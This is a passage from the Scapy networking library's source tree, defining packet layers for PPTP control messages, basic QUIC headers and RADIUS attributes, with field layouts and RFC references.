"Not-Connected", 2: "Bad-Format", 3: "Bad-Value", 4: "No-Resource", 5: "Bad-Call ID", 6: "PAC-Error"} class PPTP(Packet): name = "PPTP" fields_desc = [FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda p, x: x + 12), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 1, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), StrLenField("data", "", length_from=lambda p: p.len - 12)] registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.ctrl_msg_type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[9]) return cls.registered_options.get(o, cls) return cls _PPTP_FRAMING_CAPABILITIES_FLAGS = ["Asynchronous Framing supported", "Synchronous Framing supported"] _PPTP_BEARER_CAPABILITIES_FLAGS = ["Analog access supported", "Digital access supported"] class PPTPStartControlConnectionRequest(PPTP): name = "PPTP Start Control Connection Request" fields_desc = [LenField("len", 156), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 1, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("protocol_version", 0x0100), XShortField("reserved_1", 0x0000), FlagsField("framing_capabilities", 0, 32, _PPTP_FRAMING_CAPABILITIES_FLAGS), FlagsField("bearer_capabilities", 0, 32, _PPTP_BEARER_CAPABILITIES_FLAGS), ShortField("maximum_channels", 65535), ShortField("firmware_revision", 256), StrFixedLenField("host_name", "linux", 64), StrFixedLenField("vendor_string", "", 64)] _PPTP_start_control_connection_result = {1: "OK", 2: "General error", 3: "Command channel already exists", 4: "Not authorized", 5: "Unsupported protocol version"} class PPTPStartControlConnectionReply(PPTP): name = "PPTP Start Control Connection Reply" fields_desc = [LenField("len", 156), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 2, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("protocol_version", 0x0100), ByteEnumField("result_code", 1, _PPTP_start_control_connection_result), ByteEnumField("error_code", 0, _PPTP_general_error_code), FlagsField("framing_capabilities", 0, 32, _PPTP_FRAMING_CAPABILITIES_FLAGS), FlagsField("bearer_capabilities", 0, 32, _PPTP_BEARER_CAPABILITIES_FLAGS), ShortField("maximum_channels", 65535), ShortField("firmware_revision", 256), StrFixedLenField("host_name", "linux", 64), StrFixedLenField("vendor_string", "", 64)] def answers(self, other): return isinstance(other, PPTPStartControlConnectionRequest) _PPTP_stop_control_connection_reason = {1: "None", 2: "Stop-Protocol", 3: "Stop-Local-Shutdown"} class PPTPStopControlConnectionRequest(PPTP): name = "PPTP Stop Control Connection Request" fields_desc = [LenField("len", 16), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 3, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ByteEnumField("reason", 1, _PPTP_stop_control_connection_reason), XByteField("reserved_1", 0x00), XShortField("reserved_2", 0x0000)] _PPTP_stop_control_connection_result = {1: "OK", 2: "General error"} class PPTPStopControlConnectionReply(PPTP): name = "PPTP Stop Control Connection Reply" fields_desc = [LenField("len", 16), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 4, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ByteEnumField("result_code", 1, _PPTP_stop_control_connection_result), ByteEnumField("error_code", 0, _PPTP_general_error_code), XShortField("reserved_2", 0x0000)] def answers(self, other): return isinstance(other, PPTPStopControlConnectionRequest) class PPTPEchoRequest(PPTP): name = "PPTP Echo Request" fields_desc = [LenField("len", 16), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 5, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), IntField("identifier", None)] _PPTP_echo_result = {1: "OK", 2: "General error"} class PPTPEchoReply(PPTP): name = "PPTP Echo Reply" fields_desc = [LenField("len", 20), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 6, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), IntField("identifier", None), ByteEnumField("result_code", 1, _PPTP_echo_result), ByteEnumField("error_code", 0, _PPTP_general_error_code), XShortField("reserved_1", 0x0000)] def answers(self, other): return isinstance(other, PPTPEchoRequest) and other.identifier == self.identifier # noqa: E501 _PPTP_bearer_type = {1: "Analog channel", 2: "Digital channel", 3: "Any type of channel"} _PPTP_framing_type = {1: "Asynchronous framing", 2: "Synchronous framing", 3: "Any type of framing"} class PPTPOutgoingCallRequest(PPTP): name = "PPTP Outgoing Call Request" fields_desc = [LenField("len", 168), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 7, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ShortField("call_serial_number", 0), IntField("minimum_bps", 32768), IntField("maximum_bps", 2147483648), IntEnumField("bearer_type", 3, _PPTP_bearer_type), IntEnumField("framing_type", 3, _PPTP_framing_type), ShortField("pkt_window_size", 16), ShortField("pkt_proc_delay", 0), ShortField('phone_number_len', 0), XShortField("reserved_1", 0x0000), StrFixedLenField("phone_number", '', 64), StrFixedLenField("subaddress", '', 64)] _PPTP_result_code = {1: "Connected", 2: "General error", 3: "No Carrier", 4: "Busy", 5: "No dial tone", 6: "Time-out", 7: "Do not accept"} class PPTPOutgoingCallReply(PPTP): name = "PPTP Outgoing Call Reply" fields_desc = [LenField("len", 32), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 8, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ShortField("peer_call_id", 1), ByteEnumField("result_code", 1, _PPTP_result_code), ByteEnumField("error_code", 0, _PPTP_general_error_code), ShortField("cause_code", 0), IntField("connect_speed", 100000000), ShortField("pkt_window_size", 16), ShortField("pkt_proc_delay", 0), IntField("channel_id", 0)] def answers(self, other): return isinstance(other, PPTPOutgoingCallRequest) and other.call_id == self.peer_call_id # noqa: E501 class PPTPIncomingCallRequest(PPTP): name = "PPTP Incoming Call Request" fields_desc = [LenField("len", 220), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 9, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ShortField("call_serial_number", 1), IntEnumField("bearer_type", 3, _PPTP_bearer_type), IntField("channel_id", 0), ShortField("dialed_number_len", 0), ShortField("dialing_number_len", 0), StrFixedLenField("dialed_number", "", 64), StrFixedLenField("dialing_number", "", 64), StrFixedLenField("subaddress", "", 64)] class PPTPIncomingCallReply(PPTP): name = "PPTP Incoming Call Reply" fields_desc = [LenField("len", 148), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 10, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ShortField("peer_call_id", 1), ByteEnumField("result_code", 1, _PPTP_result_code), ByteEnumField("error_code", 0, _PPTP_general_error_code), ShortField("pkt_window_size", 64), ShortField("pkt_transmit_delay", 0), XShortField("reserved_1", 0x0000)] def answers(self, other): return isinstance(other, PPTPIncomingCallRequest) and other.call_id == self.peer_call_id # noqa: E501 class PPTPIncomingCallConnected(PPTP): name = "PPTP Incoming Call Connected" fields_desc = [LenField("len", 28), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 11, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("peer_call_id", 1), XShortField("reserved_1", 0x0000), IntField("connect_speed", 100000000), ShortField("pkt_window_size", 64), ShortField("pkt_transmit_delay", 0), IntEnumField("framing_type", 1, _PPTP_framing_type)] def answers(self, other): return isinstance(other, PPTPIncomingCallReply) and other.call_id == self.peer_call_id # noqa: E501 class PPTPCallClearRequest(PPTP): name = "PPTP Call Clear Request" fields_desc = [LenField("len", 16), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 12, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), XShortField("reserved_1", 0x0000)] _PPTP_call_disconnect_result = {1: "Lost Carrier", 2: "General error", 3: "Admin Shutdown", 4: "Request"} class PPTPCallDisconnectNotify(PPTP): name = "PPTP Call Disconnect Notify" fields_desc = [LenField("len", 148), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 13, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ByteEnumField("result_code", 1, _PPTP_call_disconnect_result), ByteEnumField("error_code", 0, _PPTP_general_error_code), ShortField("cause_code", 0), XShortField("reserved_1", 0x0000), StrFixedLenField("call_statistic", "", 128)] class PPTPWANErrorNotify(PPTP): name = "PPTP WAN Error Notify" fields_desc = [LenField("len", 40), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 14, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("peer_call_id", 1), XShortField("reserved_1", 0x0000), IntField("crc_errors", 0), IntField("framing_errors", 0), IntField("hardware_overruns", 0), IntField("buffer_overruns", 0), IntField("time_out_errors", 0), IntField("alignment_errors", 0)] class PPTPSetLinkInfo(PPTP): name = "PPTP Set Link Info" fields_desc = [LenField("len", 24), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 15, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("peer_call_id", 1), XShortField("reserved_1", 0x0000), XIntField("send_accm", 0x00000000), XIntField("receive_accm", 0x00000000)] bind_layers(TCP, PPTP, sport=1723) bind_layers(TCP, PPTP, dport=1723) ================================================ FILE: scapy/layers/quic.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ QUIC The draft of a very basic implementation of the structures from [RFC 9000]. This isn't binded to UDP by default as currently too incomplete. TODO: - payloads. - encryption. - automaton. - etc. """ import struct from scapy.packet import ( Packet, ) from scapy.fields import ( _EnumField, BitEnumField, BitField, ByteEnumField, ByteField, EnumField, Field, FieldLenField, FieldListField, IntField, MultipleTypeField, ShortField, StrLenField, ThreeBytesField, ) # Typing imports from typing import ( Any, Optional, Tuple, ) # RFC9000 table 3 _quic_payloads = { 0x00: "PADDING", 0x01: "PING", 0x02: "ACK", 0x04: "RESET_STREAM", 0x05: "STOP_SENDING", 0x06: "CRYPTO", 0x07: "NEW_TOKEN", 0x08: "STREAM", 0x10: "MAX_DATA", 0x11: "MAX_STREAM_DATA", 0x12: "MAX_STREAMS", 0x14: "DATA_BLOCKED", 0x15: "STREAM_DATA_BLOCKED", 0x16: "STREAMS_BLOCKED", 0x18: "NEW_CONNECTION_ID", 0x19: "RETIRE_CONNECTION_ID", 0x1A: "PATH_CHALLENGE", 0x1B: "PATH_RESPONSE", 0x1C: "CONNECTION_CLOSE", 0x1E: "HANDSHAKE_DONE", } # RFC9000 sect 16 class QuicVarIntField(Field[int, int]): def addfield(self, pkt: Packet, s: bytes, val: Optional[int]): val = self.i2m(pkt, val) if val < 0 or val > 0x3FFFFFFFFFFFFFFF: raise struct.error("requires 0 <= number <= 4611686018427387903") if val < 0x40: return s + struct.pack("!B", val) elif val < 0x4000: return s + struct.pack("!H", val | 0x4000) elif val < 0x40000000: return s + struct.pack("!I", val | 0x80000000) else: return s + struct.pack("!Q", val | 0xC000000000000000) def getfield(self, pkt: Packet, s: bytes) -> Tuple[bytes, int]: length = (s[0] & 0xC0) >> 6 if length == 0: return s[1:], struct.unpack("!B", s[:1])[0] & 0x3F elif length == 1: return s[2:], struct.unpack("!H", s[:2])[0] & 0x3FFF elif length == 2: return s[4:], struct.unpack("!I", s[:4])[0] & 0x3FFFFFFF elif length == 3: return s[8:], struct.unpack("!Q", s[:8])[0] & 0x3FFFFFFFFFFFFFFF else: raise Exception("Impossible.") class QuicVarLenField(FieldLenField, QuicVarIntField): pass class QuicVarEnumField(QuicVarIntField, _EnumField[int]): __slots__ = EnumField.__slots__ def __init__(self, name, default, enum): # type: (str, Optional[int], Any, int) -> None _EnumField.__init__(self, name, default, enum) # type: ignore QuicVarIntField.__init__(self, name, default) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> int return _EnumField.any2i(self, pkt, x) # type: ignore def i2repr( self, pkt, # type: Optional[Packet] x, # type: int ): # type: (...) -> Any return _EnumField.i2repr(self, pkt, x) # -- Headers -- # RFC9000 sect 17.2 _quic_long_hdr = { 0: "Short", 1: "Long", } _quic_long_pkttyp = { # RFC9000 table 5 0x00: "Initial", 0x01: "0-RTT", 0x02: "Handshake", 0x03: "Retry", } # RFC9000 sect 17 abstraction class QUIC(Packet): match_subclass = True @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ if _pkt: hdr = _pkt[0] if hdr & 0x80: # Long Header packets if hdr & 0x40 == 0: return QUIC_Version else: typ = (hdr & 0x30) >> 4 return { 0: QUIC_Initial, 1: QUIC_0RTT, 2: QUIC_Handshake, 3: QUIC_Retry, }[typ] else: # Short Header packets return QUIC_1RTT return QUIC_Initial def mysummary(self): return self.name # RFC9000 sect 17.2.1 class QUIC_Version(QUIC): name = "QUIC - Version Negotiation" fields_desc = [ BitEnumField("HeaderForm", 1, 1, _quic_long_hdr), BitField("Unused", 0, 7), IntField("Version", 0), FieldLenField("DstConnIDLen", None, length_of="DstConnID", fmt="B"), StrLenField("DstConnID", "", length_from=lambda pkt: pkt.DstConnIDLen), FieldLenField("SrcConnIDLen", None, length_of="SrcConnID", fmt="B"), StrLenField("SrcConnID", "", length_from=lambda pkt: pkt.SrcConnIDLen), FieldListField("SupportedVersions", [], IntField("", 0)), ] # RFC9000 sect 17.2.2 QuicPacketNumberField = lambda name, default: MultipleTypeField( [ ( ByteField(name, default), ( lambda pkt: pkt.PacketNumberLen == 0, lambda _, val: val < 0x100, ), ), ( ShortField(name, default), ( lambda pkt: pkt.PacketNumberLen == 1, lambda _, val: val < 0x10000, ), ), ( ThreeBytesField(name, default), ( lambda pkt: pkt.PacketNumberLen == 2, lambda _, val: val < 0x1000000, ), ), ( IntField(name, default), ( lambda pkt: pkt.PacketNumberLen == 3, lambda _, val: val < 0x100000000, ), ), ], ByteField(name, default), ) class QuicPacketNumberBitFieldLenField(BitField): def i2m(self, pkt, x): if x is None and pkt is not None: PacketNumber = pkt.PacketNumber or 0 if PacketNumber < 0 or PacketNumber > 0xFFFFFFFF: raise struct.error("requires 0 <= number <= 0xFFFFFFFF") if PacketNumber < 0x100: return 0 elif PacketNumber < 0x10000: return 1 elif PacketNumber < 0x1000000: return 2 else: return 3 elif x is None: return 0 return x class QUIC_Initial(QUIC): name = "QUIC - Initial" Version = 0x00000001 fields_desc = ( [ BitEnumField("HeaderForm", 1, 1, _quic_long_hdr), BitField("FixedBit", 1, 1), BitEnumField("LongPacketType", 0, 2, _quic_long_pkttyp), BitField("Reserved", 0, 2), QuicPacketNumberBitFieldLenField("PacketNumberLen", None, 2), ] + QUIC_Version.fields_desc[2:7] + [ QuicVarLenField("TokenLen", None, length_of="Token"), StrLenField("Token", "", length_from=lambda pkt: pkt.TokenLen), QuicVarIntField("Length", 0), QuicPacketNumberField("PacketNumber", 0), ] ) # RFC9000 sect 17.2.3 class QUIC_0RTT(QUIC): name = "QUIC - 0-RTT" LongPacketType = 1 fields_desc = QUIC_Initial.fields_desc[:10] + [ QuicVarIntField("Length", 0), QuicPacketNumberField("PacketNumber", 0), ] # RFC9000 sect 17.2.4 class QUIC_Handshake(QUIC): name = "QUIC - Handshake" LongPacketType = 2 fields_desc = QUIC_0RTT.fields_desc # RFC9000 sect 17.2.5 class QUIC_Retry(QUIC): name = "QUIC - Retry" LongPacketType = 3 Version = 0x00000001 fields_desc = ( QUIC_Initial.fields_desc[:3] + [ BitField("Unused", 0, 4), ] + QUIC_Version.fields_desc[2:7] ) # RFC9000 sect 17.3 class QUIC_1RTT(QUIC): name = "QUIC - 1-RTT" fields_desc = [ BitEnumField("HeaderForm", 0, 1, _quic_long_hdr), BitField("FixedBit", 1, 1), BitField("SpinBit", 0, 1), BitField("Reserved", 0, 2), BitField("KeyPhase", 0, 1), QuicPacketNumberBitFieldLenField("PacketNumberLen", None, 2), # FIXME - Destination Connection ID QuicPacketNumberField("PacketNumber", 0), ] # RFC9000 sect 19.1 class QUIC_PADDING(Packet): fields_desc = [ ByteEnumField("Type", 0x00, _quic_payloads), ] # RFC9000 sect 19.2 class QUIC_PING(Packet): fields_desc = [ ByteEnumField("Type", 0x01, _quic_payloads), ] # RFC9000 sect 19.3 class QUIC_ACK(Packet): fields_desc = [ ByteEnumField("Type", 0x02, _quic_payloads), ] # Bindings # bind_bottom_up(UDP, QUIC, dport=443) # bind_bottom_up(UDP, QUIC, sport=443) # bind_layers(UDP, QUIC, dport=443, sport=443) ================================================ FILE: scapy/layers/radius.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Acknowledgment: Vincent Mauge """ RADIUS (Remote Authentication Dial In User Service) To disable Radius-EAP defragmentation (True by default), you can use:: conf.contribs.setdefault("radius", {}).setdefault("auto-defrag", False) """ import collections import enum import hashlib import hmac import struct from scapy.ansmachine import AnsweringMachine from scapy.compat import bytes_encode from scapy.config import conf, crypto_validator from scapy.error import log_runtime, Scapy_Exception from scapy.packet import ( Packet, Padding, bind_layers, bind_bottom_up, ) from scapy.fields import ( ByteEnumField, ByteField, FieldLenField, IPField, IntEnumField, IntField, MultiEnumField, MultipleTypeField, PacketLenField, PacketListField, StrField, StrFixedLenField, StrLenField, XStrFixedLenField, XStrLenField, ) from scapy.sendrecv import send from scapy.utils import strxor from scapy.layers.eap import EAP from scapy.layers.inet import UDP, IP from scapy.layers.ntlm import MD4le if conf.crypto_valid: from scapy.layers.tls.crypto.cipher_block import Cipher_DES_ECB from scapy.layers.tls.crypto.hash import ( Hash_MD4, Hash_MD5, Hash_SHA, ) else: Cipher_DES_ECB = None Hash_MD4 = Hash_MD5 = Hash_SHA = None # https://www.iana.org/assignments/radius-types/radius-types.xhtml _radius_attribute_types = { 1: "User-Name", 2: "User-Password", 3: "CHAP-Password", 4: "NAS-IP-Address", 5: "NAS-Port", 6: "Service-Type", 7: "Framed-Protocol", 8: "Framed-IP-Address", 9: "Framed-IP-Netmask", 10: "Framed-Routing", 11: "Filter-Id", 12: "Framed-MTU", 13: "Framed-Compression", 14: "Login-IP-Host", 15: "Login-Service", 16: "Login-TCP-Port", 17: "Unassigned", 18: "Reply-Message", 19: "Callback-Number", 20: "Callback-Id", 21: "Unassigned", 22: "Framed-Route", 23: "Framed-IPX-Network", 24: "State", 25: "Class", 26: "Vendor-Specific", 27: "Session-Timeout", 28: "Idle-Timeout", 29: "Termination-Action", 30: "Called-Station-Id", 31: "Calling-Station-Id", 32: "NAS-Identifier", 33: "Proxy-State", 34: "Login-LAT-Service", 35: "Login-LAT-Node", 36: "Login-LAT-Group", 37: "Framed-AppleTalk-Link", 38: "Framed-AppleTalk-Network", 39: "Framed-AppleTalk-Zone", 40: "Acct-Status-Type", 41: "Acct-Delay-Time", 42: "Acct-Input-Octets", 43: "Acct-Output-Octets", 44: "Acct-Session-Id", 45: "Acct-Authentic", 46: "Acct-Session-Time", 47: "Acct-Input-Packets", 48: "Acct-Output-Packets", 49: "Acct-Terminate-Cause", 50: "Acct-Multi-Session-Id", 51: "Acct-Link-Count", 52: "Acct-Input-Gigawords", 53: "Acct-Output-Gigawords", 54: "Unassigned", 55: "Event-Timestamp", 56: "Egress-VLANID", 57: "Ingress-Filters", 58: "Egress-VLAN-Name", 59: "User-Priority-Table", 60: "CHAP-Challenge", 61: "NAS-Port-Type", 62: "Port-Limit", 63: "Login-LAT-Port", 64: "Tunnel-Type", 65: "Tunnel-Medium-Type", 66: "Tunnel-Client-Endpoint", 67: "Tunnel-Server-Endpoint", 68: "Acct-Tunnel-Connection", 69: "Tunnel-Password", 70: "ARAP-Password", 71: "ARAP-Features", 72: "ARAP-Zone-Access", 73: "ARAP-Security", 74: "ARAP-Security-Data", 75: "Password-Retry", 76: "Prompt", 77: "Connect-Info", 78: "Configuration-Token", 79: "EAP-Message", 80: "Message-Authenticator", 81: "Tunnel-Private-Group-ID", 82: "Tunnel-Assignment-ID", 83: "Tunnel-Preference", 84: "ARAP-Challenge-Response", 85: "Acct-Interim-Interval", 86: "Acct-Tunnel-Packets-Lost", 87: "NAS-Port-Id", 88: "Framed-Pool", 89: "CUI", 90: "Tunnel-Client-Auth-ID", 91: "Tunnel-Server-Auth-ID", 92: "NAS-Filter-Rule", 93: "Unassigned", 94: "Originating-Line-Info", 95: "NAS-IPv6-Address", 96: "Framed-Interface-Id", 97: "Framed-IPv6-Prefix", 98: "Login-IPv6-Host", 99: "Framed-IPv6-Route", 100: "Framed-IPv6-Pool", 101: "Error-Cause", 102: "EAP-Key-Name", 103: "Digest-Response", 104: "Digest-Realm", 105: "Digest-Nonce", 106: "Digest-Response-Auth", 107: "Digest-Nextnonce", 108: "Digest-Method", 109: "Digest-URI", 110: "Digest-Qop", 111: "Digest-Algorithm", 112: "Digest-Entity-Body-Hash", 113: "Digest-CNonce", 114: "Digest-Nonce-Count", 115: "Digest-Username", 116: "Digest-Opaque", 117: "Digest-Auth-Param", 118: "Digest-AKA-Auts", 119: "Digest-Domain", 120: "Digest-Stale", 121: "Digest-HA1", 122: "SIP-AOR", 123: "Delegated-IPv6-Prefix", 124: "MIP6-Feature-Vector", 125: "MIP6-Home-Link-Prefix", 126: "Operator-Name", 127: "Location-Information", 128: "Location-Data", 129: "Basic-Location-Policy-Rules", 130: "Extended-Location-Policy-Rules", 131: "Location-Capable", 132: "Requested-Location-Info", 133: "Framed-Management-Protocol", 134: "Management-Transport-Protection", 135: "Management-Policy-Id", 136: "Management-Privilege-Level", 137: "PKM-SS-Cert", 138: "PKM-CA-Cert", 139: "PKM-Config-Settings", 140: "PKM-Cryptosuite-List", 141: "PKM-SAID", 142: "PKM-SA-Descriptor", 143: "PKM-Auth-Key", 144: "DS-Lite-Tunnel-Name", 145: "Mobile-Node-Identifier", 146: "Service-Selection", 147: "PMIP6-Home-LMA-IPv6-Address", 148: "PMIP6-Visited-LMA-IPv6-Address", 149: "PMIP6-Home-LMA-IPv4-Address", 150: "PMIP6-Visited-LMA-IPv4-Address", 151: "PMIP6-Home-HN-Prefix", 152: "PMIP6-Visited-HN-Prefix", 153: "PMIP6-Home-Interface-ID", 154: "PMIP6-Visited-Interface-ID", 155: "PMIP6-Home-IPv4-HoA", 156: "PMIP6-Visited-IPv4-HoA", 157: "PMIP6-Home-DHCP4-Server-Address", 158: "PMIP6-Visited-DHCP4-Server-Address", 159: "PMIP6-Home-DHCP6-Server-Address", 160: "PMIP6-Visited-DHCP6-Server-Address", 161: "PMIP6-Home-IPv4-Gateway", 162: "PMIP6-Visited-IPv4-Gateway", 163: "EAP-Lower-Layer", 164: "GSS-Acceptor-Service-Name", 165: "GSS-Acceptor-Host-Name", 166: "GSS-Acceptor-Service-Specifics", 167: "GSS-Acceptor-Realm-Name", 168: "Framed-IPv6-Address", 169: "DNS-Server-IPv6-Address", 170: "Route-IPv6-Information", 171: "Delegated-IPv6-Prefix-Pool", 172: "Stateful-IPv6-Address-Pool", 173: "IPv6-6rd-Configuration", 174: "Allowed-Called-Station-Id", 175: "EAP-Peer-Id", 176: "EAP-Server-Id", 177: "Mobility-Domain-Id", 178: "Preauth-Timeout", 179: "Network-Id-Name", 180: "EAPoL-Announcement", 181: "WLAN-HESSID", 182: "WLAN-Venue-Info", 183: "WLAN-Venue-Language", 184: "WLAN-Venue-Name", 185: "WLAN-Reason-Code", 186: "WLAN-Pairwise-Cipher", 187: "WLAN-Group-Cipher", 188: "WLAN-AKM-Suite", 189: "WLAN-Group-Mgmt-Cipher", 190: "WLAN-RF-Band", 191: "Unassigned", } class RadiusAttribute(Packet): """ Implements a RADIUS attribute (RFC 2865). Every specific RADIUS attribute class should inherit from this one. """ name = "Radius Attribute" fields_desc = [ ByteEnumField("type", 1, _radius_attribute_types), FieldLenField("len", None, "value", "B", adjust=lambda pkt, x: len(pkt.value) + 2), StrLenField("value", "", length_from=lambda pkt: pkt.len - 2) ] registered_attributes = {} @classmethod def register_variant(cls): """ Registers the RADIUS attributes defined in this module. """ if hasattr(cls, "val"): cls.registered_attributes[cls.val] = cls else: cls.registered_attributes[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right RadiusAttribute class for the given data. """ if _pkt: attr_type = _pkt[0] return cls.registered_attributes.get(attr_type, cls) return cls def post_build(self, p, pay): length = self.len if length is None: length = len(p) p = p[:1] + struct.pack("!B", length) + p[2:] return p def guess_payload_class(self, _): return Padding class _SpecificRadiusAttr(RadiusAttribute): """ Class from which every "specific" RADIUS attribute defined in this module inherits. """ __slots__ = ["val"] match_subclass = True def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields): # noqa: E501 super(_SpecificRadiusAttr, self).__init__( _pkt, post_transform, _internal, _underlayer, **fields ) self.fields["type"] = self.val name_parts = self.__class__.__name__.split('RadiusAttr_') if len(name_parts) < 2: raise Scapy_Exception( "Invalid class name: {}".format(self.__class__.__name__) ) self.name = name_parts[1].replace('_', '-') # # RADIUS attributes which values are 4 bytes integers # class _RadiusAttrIntValue(_SpecificRadiusAttr): """ Implements a RADIUS attribute which value field is 4 bytes long integer. """ fields_desc = [ ByteEnumField("type", 5, _radius_attribute_types), ByteField("len", 6), IntField("value", 0) ] class RadiusAttr_User_Name(_SpecificRadiusAttr): """RFC 2865""" val = 1 class RadiusAttr_NAS_Port(_RadiusAttrIntValue): """RFC 2865""" val = 5 class RadiusAttr_Framed_MTU(_RadiusAttrIntValue): """RFC 2865""" val = 12 class RadiusAttr_Login_TCP_Port(_RadiusAttrIntValue): """RFC 2865""" val = 16 class RadiusAttr_Session_Timeout(_RadiusAttrIntValue): """RFC 2865""" val = 27 class RadiusAttr_Idle_Timeout(_RadiusAttrIntValue): """RFC 2865""" val = 28 class RadiusAttr_Framed_AppleTalk_Link(_RadiusAttrIntValue): """RFC 2865""" val = 37 class RadiusAttr_Framed_AppleTalk_Network(_RadiusAttrIntValue): """RFC 2865""" val = 38 class RadiusAttr_Acct_Delay_Time(_RadiusAttrIntValue): """RFC 2866""" val = 41 class RadiusAttr_Acct_Input_Octets(_RadiusAttrIntValue): """RFC 2866""" val = 42 class RadiusAttr_Acct_Output_Octets(_RadiusAttrIntValue): """RFC 2866""" val = 43 class RadiusAttr_Acct_Session_Time(_RadiusAttrIntValue): """RFC 2866""" val = 46 class RadiusAttr_Acct_Input_Packets(_RadiusAttrIntValue): """RFC 2866""" val = 47 class RadiusAttr_Acct_Output_Packets(_RadiusAttrIntValue): """RFC 2866""" val = 48 class RadiusAttr_Acct_Link_Count(_RadiusAttrIntValue): """RFC 2866""" val = 51 class RadiusAttr_Acct_Input_Gigawords(_RadiusAttrIntValue): """RFC 2869""" val = 52 class RadiusAttr_Acct_Output_Gigawords(_RadiusAttrIntValue): """RFC 2869""" val = 53 class RadiusAttr_Event_Timestamp(_RadiusAttrIntValue): """RFC 2869""" val = 55 class RadiusAttr_Egress_VLANID(_RadiusAttrIntValue): """RFC 4675""" val = 56 class RadiusAttr_Port_Limit(_RadiusAttrIntValue): """RFC 2865""" val = 62 class RadiusAttr_ARAP_Security(_RadiusAttrIntValue): """RFC 2869""" val = 73 class RadiusAttr_Password_Retry(_RadiusAttrIntValue): """RFC 2869""" val = 75 class RadiusAttr_Tunnel_Preference(_RadiusAttrIntValue): """RFC 2868""" val = 83 class RadiusAttr_Acct_Interim_Interval(_RadiusAttrIntValue): """RFC 2869""" val = 85 class RadiusAttr_Acct_Tunnel_Packets_Lost(_RadiusAttrIntValue): """RFC 2867""" val = 86 class RadiusAttr_Management_Privilege_Level(_RadiusAttrIntValue): """RFC 5607""" val = 136 class RadiusAttr_Mobility_Domain_Id(_RadiusAttrIntValue): """RFC 7268""" val = 177 class RadiusAttr_Preauth_Timeout(_RadiusAttrIntValue): """RFC 7268""" val = 178 class RadiusAttr_WLAN_Venue_Info(_RadiusAttrIntValue): """RFC 7268""" val = 182 class RadiusAttr_WLAN_Reason_Code(_RadiusAttrIntValue): """RFC 7268""" val = 185 class RadiusAttr_WLAN_Pairwise_Cipher(_RadiusAttrIntValue): """RFC 7268""" val = 186 class RadiusAttr_WLAN_Group_Cipher(_RadiusAttrIntValue): """RFC 7268""" val = 187 class RadiusAttr_WLAN_AKM_Suite(_RadiusAttrIntValue): """RFC 7268""" val = 188 class RadiusAttr_WLAN_Group_Mgmt_Cipher(_RadiusAttrIntValue): """RFC 7268""" val = 